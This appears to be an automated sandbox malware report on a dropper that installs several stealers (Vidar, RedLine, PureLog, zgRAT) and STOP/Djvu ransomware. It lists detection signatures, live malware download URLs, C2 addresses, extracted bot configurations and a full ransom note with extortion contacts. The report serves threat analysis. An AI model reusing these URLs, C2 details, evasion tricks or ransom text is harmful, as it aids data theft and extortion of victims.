41.2.MSBuild.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
41.2.MSBuild.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
41.2.MSBuild.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x45f71:$s1: file:/// 0x45ecd:$s2: {11111-22222-10009-11112} 0x45f01:$s3: {11111-22222-50001-00000} 0x43083:$s4: get_Module 0x3d464:$s5: Reverse 0x3e148:$s6: BlockCopy 0x3d42d:$s7: ReadByte 0x45f83:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x45f71:$s1: file:/// 0x45ecd:$s2: {11111-22222-10009-11112} 0x45f01:$s3: {11111-22222-50001-00000} 0x43083:$s4: get_Module 0x3d464:$s5: Reverse 0x3e148:$s6: BlockCopy 0x3d42d:$s7: ReadByte 0x45f83:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.ac7ac0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.0.A_22rjVO67ooiUk2ueyL6tMl.exe.530000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.ac7ac0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.450000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.450000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x452b0:$s1: JohnDoe 0x452a8:$s2: HAL9TH
9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44171:$s1: file:/// 0x440cd:$s2: {11111-22222-10009-11112} 0x44101:$s3: {11111-22222-50001-00000} 0x41283:$s4: get_Module 0x3b664:$s5: Reverse 0x3c348:$s6: BlockCopy 0x3b62d:$s7: ReadByte 0x44183:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 43 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe, ProcessId: 1400, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",, CommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL", , ParentImage: C:\Windows\SysWOW64\control.exe, ParentProcessId: 7320, ParentProcessName: control.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",, ProcessId: 7404, ProcessName: rundll32.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\CHA0VZiz8y.exe, ProcessId: 4120, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Extensions

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, CommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, ProcessId: 5780, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CHA0VZiz8y.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lop.foxesjoy.com/R	Avira URL Cloud: Label: malware
Source: http://147.45.47.149:54674/vape/niko.exe	Avira URL Cloud: Label: malware
Source: https://lop.foxesjoy.com:80/ssl/crt.exe	Avira URL Cloud: Label: malware
Source: http://5.42.66.10/download/th/space.php#	Avira URL Cloud: Label: malware
Source: http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe	Avira URL Cloud: Label: malware
Source: http://f.alie3ksggg.com/f/oiii.exe	Avira URL Cloud: Label: malware
Source: http://5.42.66.10/download/th/getimage15.php	Avira URL Cloud: Label: malware
Source: https://kurd.computer/dll/builddoc.exe	Avira URL Cloud: Label: malware
Source: http://85.192.56.26/api/bing_release.php	Avira URL Cloud: Label: malware
Source: https://f.123654987.xyz/525403/setup.exeU	Avira URL Cloud: Label: malware
Source: https://lop.foxesjoy.com/	Avira URL Cloud: Label: malware
Source: https://lop.foxesjoy.com/ssl/crt.exee-	Avira URL Cloud: Label: malware
Source: http://85.192.56.26/api/flash.php	Avira URL Cloud: Label: malware
Source: https://monoblocked.com/525403/setup.exe	Avira URL Cloud: Label: malware
Source: http://176.111.174.109/pelikan	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Avira: detection malicious, Label: TR/Staser.ykqao
Source: C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe	Avira: detection malicious, Label: HEUR/AGEN.1324352

Found malware configuration

Source: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "c21b45a432889af65aa05cd66920d0a2", "Version": "9.8"}
Source: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": [""], "C2 url": "http://cajgtus.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/33b490a613f49fa190924f199d2c079e20240512191214/caaf73\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0873PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\de
Source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.aa0000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": "5.42.65.115:40551", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Multi AV Scanner detection for domain / URL

Source: http://5.42.66.10/download/th/retail.phphp	Virustotal: Detection: 6%	Perma Link
Source: http://147.45.47.149:54674/vape/niko.exe	Virustotal: Detection: 14%	Perma Link
Source: http://f.alie3ksggg.com/f/oiii.exe	Virustotal: Detection: 17%	Perma Link
Source: http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe	Virustotal: Detection: 21%	Perma Link
Source: http://5.42.66.10/download/th/space.php#	Virustotal: Detection: 24%	Perma Link
Source: http://5.42.66.10/download/th/getimage15.php	Virustotal: Detection: 23%	Perma Link
Source: http://85.192.56.26/api/bing_release.php	Virustotal: Detection: 12%	Perma Link
Source: https://monoblocked.com:80/525403/setup.exe	Virustotal: Detection: 15%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\oiii[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\123p[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Retailer_prog[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Default15_s[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\default_s[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Turquoise CD Player\is-HB2OO.tmp	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Turquoise CD Player\libeay32.dll (copy)	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: CHA0VZiz8y.exe	ReversingLabs: Detection: 39%
Source: CHA0VZiz8y.exe	Virustotal: Detection: 41%			Perma Link

Machine Learning detection for dropped file

Source: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe	Joe Sandbox ML: detected

Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899D9D0 CryptAcquireContextA,GetLastError,	14_2_6899D9D0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899DBB0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,	14_2_6899DBB0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899DD20 CryptReleaseContext,	14_2_6899DD20
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899DEE0 CryptReleaseContext,	14_2_6899DEE0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899DE00 CryptGenRandom,__CxxThrowException@8,	14_2_6899DE00
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689C35E0 CryptReleaseContext,	14_2_689C35E0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899D7D4 CryptReleaseContext,	14_2_6899D7D4
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6899D7F0 CryptReleaseContext,	14_2_6899D7F0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Unpacked PE file: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe	Unpacked PE file: 29.2.turquoisecdplayer.exe.400000.0.unpack

Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe

Directory created: C:\Program Files\Windows Media Player\background.jpg

Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: CHA0VZiz8y.exe, CHA0VZiz8y.exe, 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2166974525.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2170119555.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2168305429.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2171871985.0000000005458000.00000004.00000020.00020000.00000000.sdmp, MYZqYdU5cUVwEz2j0JYbnTar.exe, 00000011.00000000.2266973416.00000000002CC000.00000002.00000001.01000000.00000010.sdmp, MYZqYdU5cUVwEz2j0JYbnTar.exe, 00000011.00000002.2592127849.00000000002CC000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.00000001409DF000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: MsMpEng.pdbH source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: xS7PhKcNZTx4FuBAD1RB9kbJ.exe, 00000008.00000000.2265131582.000002967CCE2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\obj\2015\System.Data.SQLite.Linq.2015\Release\System.Data.SQLite.Linq.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: K:\2024-5-11\createProcessWithAdmin error\x64\Release\ConsoleApplication1.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2344382832.000001F25AEA4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.000000000420F000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.0000000003BD3000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2650479083.0000000005600000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000000.2269042041.00000000006CC000.00000080.00000001.01000000.00000013.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.0000000140BB1000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: $K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.0000000140BB1000.00000080.00000001.01000000.00000003.sdmp
